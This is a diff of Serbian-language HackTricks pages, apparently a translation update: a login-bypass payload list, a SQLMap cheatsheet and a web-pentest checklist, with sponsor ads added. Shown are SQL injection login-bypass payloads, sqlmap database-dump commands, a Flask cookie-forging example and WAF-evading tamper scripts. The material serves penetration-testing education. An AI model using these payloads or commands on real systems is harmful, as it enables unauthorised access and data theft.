* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,22 +1,30 @@
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Ova lista sadrži **payload-ove za zaobilaženje prijave putem XPath, LDAP i SQL injekcije** (u tom redosledu). Ova lista sadrži **payload-ove za zaobilaženje prijave putem XPath, LDAP i SQL injekcije** (u tom redosledu).
Način korišćenja ove liste je da se **prvih 200 redova stavi kao korisničko ime i lozinka.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok unosite neku lozinku (kao što je _Pass1234._) ili neko poznato korisničko ime (kao što je _admin_). Način korišćenja ove liste je da stavite **prvih 200 redova kao korisničko ime i lozinku.** Zatim, stavite kompletnu listu prvo u korisničko ime, a zatim u lozinku dok stavite neku lozinku (kao _Pass1234._) ili neko poznato korisničko ime (kao _admin_).
``` ```
admin admin
password password
@ -823,6 +831,15 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2 %8C%A8%27)||1-- 2
%bf')||1-- 2 %bf')||1-- 2
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -1,23 +1,25 @@
# SQLMap - Cheatsheet # SQLMap - Cheatsheet
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Podržite HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite potpuni pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekognicije do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera o vašim veb aplikacijama, mreži i oblaku
**Pronađite i prijavite kritične, iskoristive ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napadačke površine, pronalaženje bezbednosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -61,7 +63,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
--columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> ) --columns #Columns of a table ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column -D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column
``` ```
## Mesto injekcije ## Injection mesto
### Iz Burp/ZAP hvatanja ### Iz Burp/ZAP hvatanja
@ -98,7 +100,7 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
``` ```
### Eval ### Eval
**Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie sesija** **je potpisana od strane flaska sa poznatom tajnom pre slanja**: **Sqlmap** omogućava korišćenje `-e` ili `--eval` za obradu svake payload pre slanja uz neki python oneliner. Ovo olakšava i ubrzava prilagođenu obradu payload-a pre slanja. U sledećem primeru **flask cookie session** **je potpisan od strane flaska sa poznatom tajnom pre slanja**:
```bash ```bash
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
``` ```
@ -156,45 +158,45 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
``` ```
| Tamper | Description | | Tamper | Description |
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- | | ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
| apostrophemask.py | Zamenjuje karakter apostrofa sa njegovim punim UTF-8 ekvivalentom | | apostrophemask.py | Zamenjuje karakter apostrofa njegovim punim UTF-8 ekvivalentom |
| apostrophenullencode.py | Zamenjuje karakter apostrofa sa njegovim nelegalnim dvostrukim unicode ekvivalentom | | apostrophenullencode.py | Zamenjuje karakter apostrofa njegovim ilegalnim dvostrukim unicode ekvivalentom |
| appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a | | appendnullbyte.py | Dodaje kodirani NULL bajt karakter na kraj payload-a |
| base64encode.py | Base64 kodira sve karaktere u datom payload-u | | base64encode.py | Base64 kodira sve karaktere u datom payload-u |
| between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' | | between.py | Zamenjuje operator veće od ('>') sa 'NOT BETWEEN 0 AND #' |
| bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom | | bluecoat.py | Zamenjuje karakter razmaka nakon SQL izjave sa validnim nasumičnim praznim karakterom. Nakon toga zamenjuje karakter = sa LIKE operatorom |
| chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) | | chardoubleencode.py | Dvostruko url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' | | commalesslimit.py | Zamenjuje instance poput 'LIMIT M, N' sa 'LIMIT N OFFSET M' |
| commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' | | commalessmid.py | Zamenjuje instance poput 'MID(A, B, C)' sa 'MID(A FROM B FOR C)' |
| concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' | | concat2concatws.py | Zamenjuje instance poput 'CONCAT(A, B)' sa 'CONCAT\_WS(MID(CHAR(0), 0, 0), A, B)' |
| charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) | | charencode.py | Url-kodira sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" | | charunicodeencode.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "%u0022" |
| charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" | | charunicodeescape.py | Unicode-url-kodira ne-kodirane karaktere u datom payload-u (ne obrađuje već kodirane). "\u0022" |
| equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' | | equaltolike.py | Zamenjuje sve pojave operatora jednakosti ('=') sa operatorom 'LIKE' |
| escapequotes.py | Escape-uje navodnike (' i ") | | escapequotes.py | Beži od navodnika (' i ") |
| greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom | | greatest.py | Zamenjuje operator veće od ('>') sa 'GREATEST' ekvivalentom |
| halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči | | halfversionedmorekeywords.py | Dodaje verzionirani MySQL komentar pre svake ključne reči |
| ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)' | | ifnull2ifisnull.py | Zamenjuje instance poput 'IFNULL(A, B)' sa 'IF(ISNULL(A), B, A)' |
| modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom | | modsecurityversioned.py | Obavija kompletnu upit sa verzioniranim komentarom |
| modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije | | modsecurityzeroversioned.py | Obavija kompletnu upit sa komentarom nulte verzije |
| multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči | | multiplespaces.py | Dodaje više razmaka oko SQL ključnih reči |
| nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri | | nonrecursivereplacement.py | Zamenjuje unapred definisane SQL ključne reči sa reprezentacijama pogodnim za zamenu (npr. .replace("SELECT", "")) filteri |
| percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera | | percentage.py | Dodaje znak procenta ('%') ispred svakog karaktera |
| overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) | | overlongutf8.py | Konvertuje sve karaktere u datom payload-u (ne obrađuje već kodirane) |
| randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom | | randomcase.py | Zamenjuje svaki karakter ključne reči sa nasumičnom velikom ili malom slovom |
| randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima | | randomcomments.py | Dodaje nasumične komentare SQL ključnim rečima |
| securesphere.py | Dodaje posebno kreirani string | | securesphere.py | Dodaje posebno oblikovan string |
| sp\_password.py | Dodaje 'sp\_password' na kraj payload-a za automatsku obfuscation iz DBMS logova | | sp\_password.py | Dodaje 'sp\_password' na kraj payload-a za automatsku obfuscaciju iz DBMS logova |
| space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima | | space2comment.py | Zamenjuje karakter razmaka (' ') sa komentarima |
| space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') | | space2dash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim nasumičnim stringom i novim redom ('\n') |
| space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | | space2hash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') | | space2morehash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim nasumičnim stringom i novim redom ('\n') |
| space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mssqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') | | space2mssqlhash.py | Zamenjuje karakter razmaka (' ') sa karakterom za broj ('#') praćenim novim redom ('\n') |
| space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2mysqlblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') | | space2mysqldash.py | Zamenjuje karakter razmaka (' ') sa komentarom crtica ('--') praćenim novim redom ('\n') |
| space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') | | space2plus.py | Zamenjuje karakter razmaka (' ') sa plusom ('+') |
| space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera | | space2randomblank.py | Zamenjuje karakter razmaka (' ') sa nasumičnim praznim karakterom iz validnog skupa alternativnih karaktera |
| symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i | | symboliclogical.py | Zamenjuje AND i OR logičke operatore sa njihovim simboličkim ekvivalentima (&& i |
| unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT | | unionalltounion.py | Zamenjuje UNION ALL SELECT sa UNION SELECT |
| unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) | | unmagicquotes.py | Zamenjuje karakter navodnika (') sa multi-bajt kombinacijom %bf%27 zajedno sa generičkim komentarom na kraju (da bi radilo) |
| uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' | | uppercase.py | Zamenjuje svaki karakter ključne reči sa velikim slovom 'INSERT' |
@ -205,7 +207,9 @@ Zapamtite da **možete kreirati svoj vlastiti tamper u python-u** i to je veoma
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Odmah dostupna postavka za procenu ranjivosti i penetraciono testiranje**. Pokrenite kompletan pentest sa bilo kog mesta sa 20+ alata i funkcija koje idu od rekona do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za detekciju i eksploataciju kako bismo im vratili malo vremena da dublje istraže, otvore shell-ove i zabave se. #### Dobijte perspektivu hakera na vaše web aplikacije, mrežu i cloud
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš težak rad u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} {% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -1,4 +1,4 @@
# Metodologija Web Ranljivosti # Metodologija web ranjivosti
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -9,13 +9,22 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
<summary>Podržite HackTricks</summary> <summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume. * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %} {% endhint %}
U svakom Web Pentestu, postoji **several hidden and obvious places that might be vulnerable**. Ovaj post je zamišljen kao kontrolna lista da potvrdite da ste tražili ranjivosti na svim mogućim mestima. <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
U svakom Web Pentestu, postoji **several hidden and obvious places that might be vulnerable**. Ovaj post je zamišljen kao kontrolna lista da potvrdite da ste pretražili ranjivosti na svim mogućim mestima.
## Proksi ## Proksi
@ -36,7 +45,7 @@ Danas **web** **aplikacije** obično **koriste** neku vrstu **posredničkih** **
{% hint style="info" %} {% hint style="info" %}
Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\ Većina web aplikacija će **dozvoliti korisnicima da unesu neke podatke koji će kasnije biti obrađeni.**\
U zavisnosti od strukture podataka koje server očekuje, neke ranjivosti mogu ili ne moraju da se primene. U zavisnosti od strukture podataka, server očekuje da će se neke ranjivosti možda primeniti ili ne.
{% endhint %} {% endhint %}
### **Reflektovani vrednosti** ### **Reflektovani vrednosti**
@ -59,7 +68,7 @@ Ako se uneti podaci mogu na neki način odraziti u odgovoru, stranica može biti
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md) * [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Search**](xs-search/) * [ ] [**XS-Search**](xs-search/)
Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odražava. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u: Neke od pomenutih ranjivosti zahtevaju posebne uslove, dok druge samo zahtevaju da se sadržaj odrazi. Možete pronaći neke zanimljive poliglotove za brzo testiranje ranjivosti u:
{% content-ref url="pocs-and-polygloths-cheatsheet/" %} {% content-ref url="pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/) [pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -76,22 +85,22 @@ Ako se funkcionalnost može koristiti za pretraživanje nekih podataka unutar po
* [ ] [**SQL Injection**](sql-injection/) * [ ] [**SQL Injection**](sql-injection/)
* [ ] [**XPATH Injection**](xpath-injection.md) * [ ] [**XPATH Injection**](xpath-injection.md)
### **Forme, WebSockets i PostMsgs** ### **Obrasci, WebSockets i PostMsgs**
Kada websocket pošalje poruku ili forma dozvoli korisnicima da izvrše radnje, mogu se pojaviti ranjivosti. Kada websocket pošalje poruku ili obrazac koji omogućava korisnicima da izvrše radnje, mogu se pojaviti ranjivosti.
* [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md) * [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
* [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md) * [ ] [**Cross-site WebSocket hijacking (CSWSH)**](websocket-attacks.md)
* [ ] [**PostMessage ranjivosti**](postmessage-vulnerabilities/) * [ ] [**PostMessage Ranjivosti**](postmessage-vulnerabilities/)
### **HTTP zaglavlja** ### **HTTP Zaglavlja**
U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne. U zavisnosti od HTTP zaglavlja koje daje web server, neke ranjivosti mogu biti prisutne.
* [ ] [**Clickjacking**](clickjacking.md) * [ ] [**Clickjacking**](clickjacking.md)
* [ ] [**Obilaženje Content Security Policy**](content-security-policy-csp-bypass/) * [ ] [**Obilaženje Content Security Policy**](content-security-policy-csp-bypass/)
* [ ] [**Hacking kolačića**](hacking-with-cookies/) * [ ] [**Hacking kolačića**](hacking-with-cookies/)
* [ ] [**CORS - Pogrešne konfiguracije i obilaženje**](cors-bypass.md) * [ ] [**CORS - Konfiguracije i Obilaženje**](cors-bypass.md)
### **Obilaženja** ### **Obilaženja**
@ -114,20 +123,20 @@ Neke **specifične funkcionalnosti** takođe mogu biti ranjive ako se koristi **
* [ ] [**Deserialization**](deserialization/) * [ ] [**Deserialization**](deserialization/)
* [ ] [**Email Header Injection**](email-injections.md) * [ ] [**Email Header Injection**](email-injections.md)
* [ ] [**JWT Ranjivosti**](hacking-jwt-json-web-tokens.md) * [ ] [**JWT Ranjivosti**](hacking-jwt-json-web-tokens.md)
* [ ] [**XML Eksterna Entiteta**](xxe-xee-xml-external-entity.md) * [ ] [**XML Eksterni Entitet**](xxe-xee-xml-external-entity.md)
### Fajlovi ### Fajlovi
Funkcionalnosti koje omogućavaju učitavanje fajlova mogu biti ranjive na nekoliko problema.\ Funkcionalnosti koje omogućavaju učitavanje fajlova mogu biti ranjive na nekoliko problema.\
Funkcionalnosti koje generišu fajlove uključujući korisnički unos mogu izvršiti neočekivani kod.\ Funkcionalnosti koje generišu fajlove uključujući korisnički unos mogu izvršiti neočekivani kod.\
Korisnici koji otvaraju fajlove koje su učitali drugi korisnici ili automatski generisani uključujući korisnički unos mogu biti kompromitovani. Korisnici koji otvaraju fajlove koje su učitali korisnici ili automatski generisani uključujući korisnički unos mogu biti kompromitovani.
* [ ] [**Učitavanje fajlova**](file-upload/) * [ ] [**Učitavanje fajlova**](file-upload/)
* [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md) * [ ] [**Formula Injection**](formula-csv-doc-latex-ghostscript-injection.md)
* [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md) * [ ] [**PDF Injection**](xss-cross-site-scripting/pdf-injection.md)
* [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md) * [ ] [**Server Side XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
### **Eksterna upravljanje identitetom** ### **Spoljašnje upravljanje identitetom**
* [ ] [**OAUTH za preuzimanje naloga**](oauth-to-account-takeover.md) * [ ] [**OAUTH za preuzimanje naloga**](oauth-to-account-takeover.md)
* [ ] [**SAML napadi**](saml-attacks/) * [ ] [**SAML napadi**](saml-attacks/)
@ -138,8 +147,18 @@ Ove ranjivosti mogu pomoći u eksploataciji drugih ranjivosti.
* [ ] [**Preuzimanje domena/subdomena**](domain-subdomain-takeover.md) * [ ] [**Preuzimanje domena/subdomena**](domain-subdomain-takeover.md)
* [ ] [**IDOR**](idor.md) * [ ] [**IDOR**](idor.md)
* [ ] [**Parameter Pollution**](parameter-pollution.md) * [ ] [**Zagađenje parametara**](parameter-pollution.md)
* [ ] [**Ranjivost Unicode Normalizacije**](unicode-injection/) * [ ] [**Ranjivost normalizacije Unicode-a**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
